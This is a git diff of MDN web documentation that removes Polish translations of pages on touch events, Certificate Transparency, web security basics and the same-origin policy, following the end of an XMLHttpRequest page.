http://foo.com/bar.html -> http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345
+
+

Since the local cache is indexed by URL, this causes every request to be unique, thereby bypassing the cache.

+

You can automatically adjust URLs using the following code:

+
var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime(), true);
+oReq.send(null);
+

Security

+

{{fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference capability.policy.<policyname>.XMLHttpRequest.open</policyname> to allAccess to give specific sites cross-site access.  This is no longer supported.")}}

+

{{fx_minversion_note(5, "Versions of Firefox prior to Firefox 5 could use netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\"); to request cross-site access. This is no longer supported, even though it produces no warning and permission dialog is still presented.")}}

+

The recommended way to enable cross-site scripting is to use the Access-Control-Allow-Origin HTTP header in the response to the XMLHttpRequest.

+

XMLHttpRequests being stopped

+

If you end up with an XMLHttpRequest having status=0 and statusText=null, it means that the request was not allowed to be performed. It was UNSENT. A likely cause for this is when the XMLHttpRequest origin (at the creation of the XMLHttpRequest) has changed when the XMLHttpRequest is then open(). This case can happen for example when one has an XMLHttpRequest that gets fired on an onunload event for a window: the XMLHttpRequest gets in fact created when the window to be closed is still there, and then the request is sent (ie open()) when this window has lost its focus and potentially different window has gained focus. The way to avoid this problem is to set a listener on the new window "activate" event that gets set when the old window has its "unload" event fired.

+

Using XMLHttpRequest from JavaScript modules / XPCOM components

+

Instantiating XMLHttpRequest from a JavaScript module or an XPCOM component works a little differently; it can't be instantiated using the XMLHttpRequest() constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.

+
const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+
+

Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason.  If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.

+
const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();
+

See also

+
    +
  1. MDN AJAX introduction
  2. +
  3. HTTP access control
  4. +
  5. How to check the security state of an XMLHTTPRequest over SSL
  6. +
  7. XMLHttpRequest - REST and the Rich User Experience
  8. +
  9. Microsoft documentation
  10. +
  11. Apple developers' reference
  12. +
  13. "Using the XMLHttpRequest Object" (jibbering.com)
  14. +
  15. The XMLHttpRequest Object: W3C Specification
  16. +
  17. Web Progress Events specification
  18. +
diff --git a/files/pl/web/api/zdarzenia_dotykowe/index.html b/files/pl/web/api/zdarzenia_dotykowe/index.html deleted file mode 100644 index 4d49e9b5b5..0000000000 --- a/files/pl/web/api/zdarzenia_dotykowe/index.html +++ /dev/null @@ -1,336 +0,0 @@ ---- -title: Zdarzenia dotykowe -slug: Web/API/Zdarzenia_dotykowe -translation_of: Web/API/Touch_events ---- -
{{DefaultAPISidebar("Touch Events")}}
- -

W celu zapewnienia wsparcia dla dotykowych interfejsów użytkownika, zdarzenia dotykowe oferują możliwość interpretowania aktywności palca (lub rysika) na ekranach i gładzikach.

- -

Interfejsy zdarzeń dotykowych to stounkowo niskopoziomowe API, które mogą być użyte do specyficznych dla aplikacji wielodotykowych interakcji takich jak gesty wykonywane dwoma palcami. Interakcja wielodotykowa zaczyna się, kiedy palec (lub rysik) dotyka powierzchni ekranu lub gładzika. Pozostałe palce mogą dotknąć powierzhni później i, opcjonalnie, poruszać się po powierzchni dotykowej. Interakcja kończy się, gdy palce są zabrane z powierzchni ekranu lub gładzika. W czasie trwania interakcji, aplikacja odbiera zdarzenia dotykowe podczas faz startu, ruchu i zakończenia tejże interakcji.

- -

Zdarzenia dotykowe są podobne do zdarzeń myszki, z tą różnicą, że pozwalają na jednoczesne dotknięcia w różnych miejscach na ekranie. Interfejs {{domxref("TouchEvent")}} hermetyzuje wszystkie punkty dotyku aktywne w danym momencie. Interfejs {{domxref("Touch")}}, który reprezentuje pojedynczy punkt dotyku, zawiera informacje takie jak pozycja punktu dotyku w stosunku do widoku okna przeglądarki.

- -

Definicje

- -
-
Powierzchnia
-
Powierzchnia dotykowa. Może to być ekran lub gładzik.
-
- -
-
Punkt dotyku
-
Punkt kontaktu z powierzchnią. Może to być palec (lub łokieć, ucho, nos, cokolwiek, ale najczęściej jednak palec) lub rysik.
-
- -

Interfejsy

- -
-
{{domxref("TouchEvent")}}
-
Reprezentuje zdarzenie, które zachodzi, gdy stan dotknięć powierzchni się zmienia.
-
{{domxref("Touch")}}
-
Reprezentuje pojedynczy punkt kontaktu między użytkownikiem a powierzchnią dotykową.
-
{{domxref("TouchList")}}
-
Reprezentuje grupę dotknięć; jest używany, gdy na przykład użytkownik dotyka powierzchni wieloma palcami jednocześnie.
-
- -

Przykład

- -

Poniższy przykład śledzi wiele dotknięć w jednym czasie, pozwalając użytkownikowi na rysowanie w elemencie {{HTMLElement("canvas")}} przy użyciu więcej niż jednego palca jednocześnie. Kod ten będzie działać jedynie w przeglądarkach wspierających zdarzenia dotykowe.

- -
Uwaga: W niniejszym tekście słowo „palec” używane jest do opisania kontaktu z powierzchnią dotykową, ale może to być oczywiście także rysik lub dowolna inna metoda dotykania ekranu.
- -

Stwórz kanwę

- -
<canvas id="canvas" width="600" height="600" style="border:solid black 1px;">
-  Twoja przeglądarka nie wspiera elementu kanwa (canvas).
-</canvas>
-<br>
-<button onclick="startup()">Initialize</button>
-<br>
-Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
-
- -

Ustawianie funkcji do obsługi zdarzeń

- -

Kiedy strona się ładuje, pokazana niżej funkcja startup() powinna być wywołana przez atrybut onload naszego elementu {{HTMLElement("body")}} (choć w przykładzie używamy przycisku do jej uruchomienia, ze względu na ograniczenia systemu przykłądów w MDN).

- -
function startup() {
-  var el = document.getElementsByTagName("canvas")[0];
-  el.addEventListener("touchstart", handleStart, false);
-  el.addEventListener("touchend", handleEnd, false);
-  el.addEventListener("touchcancel", handleCancel, false);
-  el.addEventListener("touchmove", handleMove, false);
-  console.log("initialized.");
-}
-
- -

Funkcja ta po prostu ustawia nasłluchiwanie zdarzeń dla naszego elementu {{HTMLElement("canvas")}}, tak że możemy obsłużyć zdarzenia dotykowe, kiedy się pojawią.

- -

Śledzenie nowych zdarzeń

- -

We'll keep track of the touches in-progress.

- -
var ongoingTouches = [];
-
- -

When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the handleStart() function below is called.

- -
function handleStart(evt) {
-  evt.preventDefault();
-  console.log("touchstart.");
-  var el = document.getElementsByTagName("canvas")[0];
-  var ctx = el.getContext("2d");
-  var touches = evt.changedTouches;
-
-  for (var i = 0; i < touches.length; i++) {
-    console.log("touchstart:" + i + "...");
-    ongoingTouches.push(copyTouch(touches[i]));
-    var color = colorForTouch(touches[i]);
-    ctx.beginPath();
-    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
-    ctx.fillStyle = color;
-    ctx.fill();
-    console.log("touchstart:" + i + ".");
-  }
-}
-
- -

This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.

- -

After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.

- -

Drawing as the touches move

- -

Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our handleMove() function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.

- -
function handleMove(evt) {
-  evt.preventDefault();
-  var el = document.getElementsByTagName("canvas")[0];
-  var ctx = el.getContext("2d");
-  var touches = evt.changedTouches;
-
-  for (var i = 0; i < touches.length; i++) {
-    var color = colorForTouch(touches[i]);
-    var idx = ongoingTouchIndexById(touches[i].identifier);
-
-    if (idx >= 0) {
-      console.log("continuing touch "+idx);
-      ctx.beginPath();
-      console.log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
-      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
-      console.log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
-      ctx.lineTo(touches[i].pageX, touches[i].pageY);
-      ctx.lineWidth = 4;
-      ctx.strokeStyle = color;
-      ctx.stroke();
-
-      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
-      console.log(".");
-    } else {
-      console.log("can't figure out which touch to continue");
-    }
-  }
-}
-
- -

This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.

- -

This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.

- -

After drawing the line, we call Array.splice() to replace the previous information about the touch point with the current information in the ongoingTouches array.

- -

Handling the end of a touch

- -

When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle this by calling the handleEnd() function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.

- -
function handleEnd(evt) {
-  evt.preventDefault();
-  log("touchend");
-  var el = document.getElementsByTagName("canvas")[0];
-  var ctx = el.getContext("2d");
-  var touches = evt.changedTouches;
-
-  for (var i = 0; i < touches.length; i++) {
-    var color = colorForTouch(touches[i]);
-    var idx = ongoingTouchIndexById(touches[i].identifier);
-
-    if (idx >= 0) {
-      ctx.lineWidth = 4;
-      ctx.fillStyle = color;
-      ctx.beginPath();
-      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
-      ctx.lineTo(touches[i].pageX, touches[i].pageY);
-      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
-      ongoingTouches.splice(idx, 1);  // remove it; we're done
-    } else {
-      console.log("can't figure out which touch to end");
-    }
-  }
-}
-
- -

This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call Array.splice(), we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.

- -

Handling canceled touches

- -

If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the handleCancel() function below.

- -
function handleCancel(evt) {
-  evt.preventDefault();
-  console.log("touchcancel.");
-  var touches = evt.changedTouches;
-
-  for (var i = 0; i < touches.length; i++) {
-    var idx = ongoingTouchIndexById(touches[i].identifier);
-    ongoingTouches.splice(idx, 1);  // remove it; we're done
-  }
-}
-
- -

Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.

- -

Convenience functions

- -

This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.

- -

Selecting a color for each touch

- -

In order to make each touch's drawing look different, the colorForTouch() function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.

- -
function colorForTouch(touch) {
-  var r = touch.identifier % 16;
-  var g = Math.floor(touch.identifier / 3) % 16;
-  var b = Math.floor(touch.identifier / 7) % 16;
-  r = r.toString(16); // make it a hex digit
-  g = g.toString(16); // make it a hex digit
-  b = b.toString(16); // make it a hex digit
-  var color = "#" + r + g + b;
-  console.log("color for touch with identifier " + touch.identifier + " = " + color);
-  return color;
-}
-
- -

The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#a31".

- -

Copying a touch object

- -

Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.

- -
function copyTouch(touch) {
-  return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
-}
- -

Finding an ongoing touch

- -

The ongoingTouchIndexById() function below scans through the ongoingTouches array to find the touch matching the given identifier, then returns that touch's index into the array.

- -
function ongoingTouchIndexById(idToFind) {
-  for (var i = 0; i < ongoingTouches.length; i++) {
-    var id = ongoingTouches[i].identifier;
-
-    if (id == idToFind) {
-      return i;
-    }
-  }
-  return -1;    // not found
-}
-
- -

Showing what's going on

- -
function log(msg) {
-  var p = document.getElementById('log');
-  p.innerHTML = msg + "\n" + p.innerHTML;
-}
- -

If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.

- -

jsFiddle example

- -

Dodatkowe wskazówki

- -

This section provides additional tips on how to handle touch events in your web application.

- -

Obsługa kliknięć

- -

Since calling preventDefault() on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call preventDefault() on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)

- -
function onTouch(evt) {
-  evt.preventDefault();
-  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
-    return;
-
-  var newEvt = document.createEvent("MouseEvents");
-  var type = null;
-  var touch = null;
-
-  switch (evt.type) {
-    case "touchstart":
-      type = "mousedown";
-      touch = evt.changedTouches[0];
-      break;
-    case "touchmove":
-      type = "mousemove";
-      touch = evt.changedTouches[0];
-      break;
-    case "touchend":
-      type = "mouseup";
-      touch = evt.changedTouches[0];
-      break;
-  }
-
-  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
-    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
-    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
-  evt.originalTarget.dispatchEvent(newEvt);
-}
-
- -

Calling preventDefault() only on a second touch

- -

One technique for preventing things like pinchZoom on a page is to call preventDefault() on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}Added radiusX, radiusY, rotationAngle, force properties
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}Initial definition.
- -

Wsparcie przeglądarek

- -

Touch

- -

Touch events are typically available on devices with a touch screen, but many browsers make the touch events API unavailable on all desktop devices, even those with touch screens.

- -

The reason for this is that some websites use the availability of parts of the touch events API as an indicator that the browser is running on a mobile device. If the touch events API is available, these websites will assume a mobile device and serve mobile-optimised content. This may then provide a poor experience for users of desktop devices that have touch screens.

- -

To support both touch and mouse across all types of device, use pointer events instead.

- - - -

{{Compat("api.Touch")}}

- -

Firefox, touch events, and multiprocess (e10s)

- -

In Firefox, touch events are disabled when e10s (electrolysis; multiprocess Firefox) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.

- -

You can test whether e10s is disabled by going to about:support and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.

- -

If you want to force e10s to be on — to explicitly re-enable touch events support — you need to go to about:config and create a new Boolean preference browser.tabs.remote.force-enable. Set it to true, restart the browser, and e10s will be enabled regardless of any other settings.

diff --git "a/files/pl/web/bezpiecze\305\204stwo/certificate_transparency/index.html" "b/files/pl/web/bezpiecze\305\204stwo/certificate_transparency/index.html" deleted file mode 100644 index 7a9b814c43..0000000000 --- "a/files/pl/web/bezpiecze\305\204stwo/certificate_transparency/index.html" +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Certificate Transparency -slug: Web/Bezpieczeństwo/Certificate_Transparency -tags: - - Bezpieczeństwo - - Web - - bezpieczeństwo aplikacji WWW -translation_of: Web/Security/Certificate_Transparency ---- -

Certyfikat Przejrzystości (Certificate Transparency) to otwarta platforma programistyczna (framework) stworzona do ochrony oraz monitorowania braków w certyfikacji. Świeżo wydane certyfikaty dostają się do obiegu publicznego, często niezależne logi CT zostają wpisane do rejestru, przez co zachowany zostaje zabezpieczony kryptograficznie rekord certyfikatów TLS.

- -

W ten sposób organy certyfikujące (CA) mogą podlegać znacznie większemu, publicznemu nadzorowi i kontroli. Potencjalnie szkodliwe certyfikaty, jak te, które naruszają Podstawowe Wymogi CA/B Forum mogą zostać znacznie sprawniej wykryte i cofnięte. Podmioty zajmujące się sprzedażą przeglądarek oraz opiekuni certyfikatów zaufanych są również uprawnieni do podejmowania gruntowniej popartych decyzji dot. problematycznych organów certyfikujących, którym mogą odmowić zaufania.

- -

Kontekst

- -

Logi CT są budowane w ramach struktury danych drzewa Merkla (Merkle tree). Węzły są oznaczane hashami kryptograficznymi ich węzłów potomnych. Liście (leaf nodes) zawierają hashe aktualnych części danych. Oznaczenie węzła głównego (root node) zależy jednakże od wszystkich pozostałych węzłów w drzewie.

- -

W kontekście przejrzystości certyfikacji dane hashowane przez liście są certyfikatami wydawanymi obecnie przez różne CA. Obecność certyfikatu może zostać zweryfikowana przez dowód kontroli skutecznie generowany i weryfikowany w czasie działania logarytmicznego - logarithmic O(log n) time.

- -

Pierwotnie, w 2013 roku przejrzystość certyfikacji służyła przeciwdziałaniu narażania CA (naruszenia DigiNotar w 2011 roku), wątpliwym decyzjom (incydent Trustwave subordinate root w 2012 roku) oraz technicznym problemom wydawniczym (emisja słabego, 512-bitowego certyfikatu przez Digicert Sdn Bhd w Malezji)

- -

Wdrożenie

- -

Gdy certyfikaty zostają dostarczone do rejestru CT, znacznik SCT (signed certificate timestamp) zostaje wygenerowany i zwrócony. Służy to jako dowód, że certyfikat został dostarczony i zostanie dodany do rejestru.

- -

Wg specyfikacji podczas komunikacji serwery zgodne muszą dostarczać numery tych SCTów do klientów TLS. Może do tego dojść na kilka różnych sposobów:

- - - -

Przy rozszerzeniu certyfikatu X.509 o włączonych SCTsach decydują organy certyfikujące. Przy stosowaniu tego typu mechanizmu nie powinna istnieć potrzeba modyfikacji serwerów webowych.

- -

W przypadku ostatnich metod serwery powinny być aktualizowane, aby móc wysyłać żądane dane. Korzyść stanowi fakt, że operator serwera może modyfikować źródła rejestru CT dostarczając SCTsy wysyłane przez rozszerzenie TLS/"zszytą" odpowiedź OCSP.

- -

Wymagania przeglądarki

- -

Google Chrome wymaga umieszczania rejestru CT dla wszystkich kwestii związanych z emisjami certyfkatów z datą notBefore po 30 kwietnia 2018 roku. Użytkownicy zostaną uchronieni przed odwiedzaniem stron używających niezgodnych certyfikatów TLS. Wcześniej Chrome wymagało umieszczania Rozszerzonej Walidacji (EV) oraz certyfikatów wydawanych przez Symantec.

- -

Apple wymaga zróżnicowanej liczby SCTsów dla Safari i innych serwerów celem zaufania certyfikatom.

- -

Firefox aktualnie ani nie sprawdza ani nie wymaga stosowania rejestru CT dla stron odwiedzanych przez użytkowników.

- -

Nagłówek Expect-CT może zostać użyty do żądania, by przeglądarka zawsze wymuszała wymóg przejrzystości certyfikacji (np. w Chrome nawet, jeśli certyfikat został wydany z datą notBefore, przed kwietniem)

- -

Specyfikacje

- - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
Certificate TransparencyIETF RFC
diff --git "a/files/pl/web/bezpiecze\305\204stwo/index.html" "b/files/pl/web/bezpiecze\305\204stwo/index.html" deleted file mode 100644 index 0d3cdd2c07..0000000000 --- "a/files/pl/web/bezpiecze\305\204stwo/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Bezpieczeństwo aplikacji WWW -slug: Web/Bezpieczeństwo -tags: - - Bezpieczeństwo - - Web - - bezpieczeństwo aplikacji WWW -translation_of: Web/Security ---- -
-

Zapewnienie bezpieczeństwa Twojej strony lub aplikacji WWW jest niezwykle istotne. Nawet proste błędy w kodzie mogą skutkować wyciekiem prywatnych danych i ich kradzieżą przez nieodpowiednie osoby. Wymienione tutaj artykuły dot. bezpieczeństwa aplikacji WWW dostarczą Ci informacji, które mogą okazać się pomocne w zabezpieczeniu Twojej strony i jej kodu przez atakami i kradzieżą danych.

-
- -

{{LandingPageListSubpages}}

- -

Zobacz również

- - - -

{{QuickLinksWithSubpages}}

diff --git "a/files/pl/web/bezpiecze\305\204stwo/podstawy_bezpieczenstwa_informacji/index.html" "b/files/pl/web/bezpiecze\305\204stwo/podstawy_bezpieczenstwa_informacji/index.html" deleted file mode 100644 index 93555b6a71..0000000000 --- "a/files/pl/web/bezpiecze\305\204stwo/podstawy_bezpieczenstwa_informacji/index.html" +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Podstawy bezpieczeństwa informacji -slug: Web/Bezpieczeństwo/Podstawy_bezpieczenstwa_informacji -tags: - - Bezpieczeństwo - - Początkujący - - bezpieczeństwo aplikacji WWW -translation_of: Web/Security/Information_Security_Basics ---- -

Podstawowa znajomość bezpieczeństwa informacji może pomóc Ci uniknąć pozostawiania Twojego oprogramowania i stron WWW niezabezpieczonych oraz zawierających podatności, które później mogą zostać wykorzystane do osiągnięcia korzyści finansowych lub do innych, podejrzanych celów. Te arykuły mogą Ci pomóc zdobyć potrzebną bazę wiedzy.Dzięki zapoznaniu się z nimi będziesz świadomy/a, jak ważne jest bezpieczeństwo podczas tworzenia stron WWW oraz podczas implementacji treści.

- -
-
Poufność, Integralność i Dostępność
-
-

Opisuje najważniejsze cele bezpieczeństwa, które są absolutnie niezbędne do zrozumienia istoty bezpieczeństwa

-
-
Podatności
-
Definiuje główne kategorie podatności i omawia obecność podatności w każdym oprogramowaniu
-
Zagrożenia
-
Krótko przedstawia główne zagrożenia
-
Kontrole Bezpieczeństwa
-
Definiuje główne kategorie kontroli bezpieczeństwa i omawia ich potencjalne wady
-
Bezpieczeństwo TCP/IP
-
Zarys modelu TCP/IP z naciskiem na aspekty bezpieczeństwa SSL
-
- -

Zobacz również

- - - -

{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}

diff --git "a/files/pl/web/bezpiecze\305\204stwo/same-origin_policy/index.html" "b/files/pl/web/bezpiecze\305\204stwo/same-origin_policy/index.html" deleted file mode 100644 index 23f296444e..0000000000 --- "a/files/pl/web/bezpiecze\305\204stwo/same-origin_policy/index.html" +++ /dev/null @@ -1,277 +0,0 @@ ---- -title: Reguła tego samego pochodzenia (Same-origin policy) -slug: Web/Bezpieczeństwo/Same-origin_policy -tags: - - Bezpieczeństwo - - CORS - - Host - - JavaScript - - Same-origin policy - - URL - - origin - - pochodzenie - - reguła tego samego pochodzenia - - źródło -translation_of: Web/Security/Same-origin_policy ---- -

Same-origin policy (reguła tego samego pochodzenia) to istotny mechanizm bezpieczeństwa, który określa sposób, w jaki dokument lub skrypt jednego pochodzenia ({{Glossary("origin")}}) może komunikować się z zasobem innego pochodzenia. Pozwala to na odizolowanie potencjalnie szkodliwych dokumentów i tym samym redukowane są czynniki sprzyjające atakom.

- -

Definicja "origin"

- -

Dwa URLe są tego samego pochodzenia, jeśli {{Glossary("protocol")}}, {{Glossary("port")}} (jeśli wyszczególniony) oraz {{Glossary("host")}} są takie same dla obu. Tego typu charakterystykę nazywa się "krotką schematu/hosta/portu" ("scheme/host/port tuple") lub po prostu "krotką" ("Krotka" to kolekcja elementów tworzących zbiór - generyczna forma, która może być podwójna/potrójna/poczwórna itd.).

- -

Poniższa tabela zawiera przykłady zestawień "originów" z URLem http://store.company.com/dir/page.html:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
URLWynikPowód
http://store.company.com/dir2/other.htmlSame originRóżni się tylko ścieżka
http://store.company.com/dir/inner/another.htmlSame originRóżni się tylko ścieżka
https://store.company.com/page.htmlNiepowodzenieInny protokół
http://store.company.com:81/dir/page.htmlNiepowodzenieInny port (http:// domyślnie jest portem 80)
http://news.company.com/dir/page.htmlNiepowodzenieInny host
- -

Zobacz również definicję "origin" dla URLów file:, ich zestawienie jest bardziej złożone.

- -

Odziedziczone "origin"

- -

Skrypty wywoływane przez strony z URLami about:blank lub javascript: dziedziczą "origin" dokumentu zawierającego ten URL, ponieważ tego typu URLe nie zawierają informacji o serwerze źródłowym.

- -
-

Przykładowo, about:blank jest często używany jako URL nowego, pustego, wyskakującego okienka, w którym skrypt-rodzic umieszcza treść (np. przez mechanizm {{domxref("Window.open()")}}). Jeśli dane okienko zawiera również JavaScript, skrypt odziedziczy ten sam "origin" jak skrypt, który je utworzył.

-
- -
-

data: URLe zyskują nowy, pusty kontekst bezpieczeństwa.

-
- -

Wyjątki w Internet Explorer

- -

W Internecie Explorerze istnieją dwa wyjątki od reguły same-origin:

- -
-
Strefy Zaufania
-
Jeśli obie domeny znajdują się w strefie wysokiego zaufania (np. firmowe domeny intranetu), wówczas ograniczenia same-origin nie są stosowane.
-
Port
-
IE nie bierze pod uwagę portów w trakcie sprawdzania obecności tego samego pochodzenia. Przykładowo, https://company.com:81/index.html i https://company.com/index.html są uznawane za posiadające ten sam "origin", więc nie są implementowane żadne ograniczenia .
-
- -

Wspomniane wyjątki są niestandardowe i nie są wspierane przez inne przeglądarki.

- -

Zmiana origin

- -

Strona może zmieniać swoje pochodzenie przy zachowaniu pewnych ograniczeń. Skrypt może nadać wartość {{domxref("document.domain")}} równą swojej obecnej domenie lub superdomenie swojej obecnej domeny. Jeśli odwołuje się do superdomeny obecnej domeny, wówczas krótsza superdomena jest brana pod uwagę przy kontroli same-origin.

- -

Załóżmy, że skrypt z dokumentu pod adresem http://store.company.com/dir/other.html wywołuje poniższą linijkę:

- -
document.domain = "company.com";
-
- -

Następnie strona może przejść pomyślnie kontrolę same-origin mając adres http://company.com/dir/page.html (przyjmując, że http://company.com/dir/page.html ma document.domain równe "company.com" by wskazać, że chce na to zezwalać - sprawdź: {{domxref("document.domain")}}). Jednakże, company.com nie może ustawić document.domain na othercompany.com, ponieważ nie jest to superdomena company.com.

- -

Numer portu jest sprawdzany oddzielnie przez przeglądarkę. Każde odwołanie do document.domain, w tym document.domain = document.domain, spowoduje przypisanie numerowi portu wartości null. Jednakże, nie uda się nawiązać komunikacji company.com:8080 z company.com tylko poprzez umieszczenie document.domain = "company.com" w pierwszym z nich. Taki zapis musi znajdować się w obu dokumentach, aby ich porty były równocześnie równe null.

- -
-

Zauważ: Używając document.domain , żeby pozwolić subdomenie na bezpieczny dostęp do rodzica potrzebujesz ustawić document.domain na tę samą wartość jednocześnie w domenie rodzica i w subdomenie. Jest to wymagane nawet podczas zwykłego przywracania domeny rodzica do pierwotnej wartości. Niepowodzenie może skutkować błędami dostępu.

-
- -

Dostęp sieciowy cross-origin (międzyźródłowy)

- -

Reguła tego samego pochodzenia kontroluje interakcje pomiędzy dwoma różnymi "originami", np. kiedy używasz elementu {{domxref("XMLHttpRequest")}} czy {{htmlelement("img")}}. Tego typu interakcje przeważnie dzielą się na trzy kategorie:

- - - -

Poniżej znajdują się przykłady zasobów, które można osadzać międzyźródłowo:

- - - -

Jak umożliwić dostęp cross-origin

- -

Poprzez CORS można zezwolić na dostęp cross-origin. CORS jest częścią {{Glossary("HTTP")}}, co pozwala serwerom na określanie, które hosty są upoważnione do ładowania treści z tego serweru.

- -

Jak zablokować dostęp cross-origin

- - - -

Dostęp cross-origin API skryptu

- -

API JavaScriptu, jak {{domxref("HTMLIFrameElement.contentWindow", "iframe.contentWindow")}}, {{domxref("window.parent")}}, {{domxref("window.open")}} i {{domxref("window.opener")}} pozwalają dokumentom na bezpośrednią, wzajemną referencję. Jeśli dwa dokumenty nie są tego samego pochodzenia, referencje te umożliwiają bardzo ograniczony dostęp do obiektów {{domxref("Window")}} i {{domxref("Location")}}, jako opisano w następnych dwóch sekcjach.

- -

Do komunikacji pomiędzy dokumentami o różnym pochodzeniu stosuje się {{domxref("window.postMessage")}}.

- -

Specyfikacja: Standard HTML § Obiekty cross-origin.

- -

Window

- -

Poniższy dostęp cross-origin jest dopuszczany w przypadku wymienionych właściwości Window:

- - - - - - - - - - - - - - - - - - - - - -
Metody
{{domxref("window.blur")}}
{{domxref("window.close")}}
{{domxref("window.focus")}}
{{domxref("window.postMessage")}}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Własności
{{domxref("window.closed")}}Tylko do odczytu.
{{domxref("window.frames")}}Tylko do odczytu.
{{domxref("window.length")}}Tylko do odczytu.
{{domxref("window.location")}}Odczyt/Zapis.
{{domxref("window.opener")}}Tylko do odczytu.
{{domxref("window.parent")}}Tylko do odczytu.
{{domxref("window.self")}}Tylko do odczytu.
{{domxref("window.top")}}Tylko do odczytu.
{{domxref("window.window")}}Tylko do odczytu.
- -

Niektóre przeglądarki zezwalają na dostęp większej ilości właściwości, niż wypisane powyżej.

- -

Location

- -

Poniższy dostęp cross-origin jest dopuszczany w przypadku właściwości Location:

- - - - - - - - - - - - -
Metody
{{domxref("location.replace")}}
- - - - - - - - - - - - - - -
Atrybuty
{{domxref("URLUtils.href")}}Tylko do zapisu.
- -

Niektóre przeglądarki umożliwiają dostęp do większej liczby właściwości, niż wymienione powyżej.

- -

Dostęp cross-origin do danych pamięci

- -

Dostęp do danych przechowywanych w przeglądarce, jak localStorage czy IndexedDB są odseparowane pochodzeniem. Każdy origin otrzymuje własną, odseparowaną pamięć i JavaScript jednego pochodzenia nie może odczytywać lub wpisywać niczego do pamięci należącej do innego originu.

- -

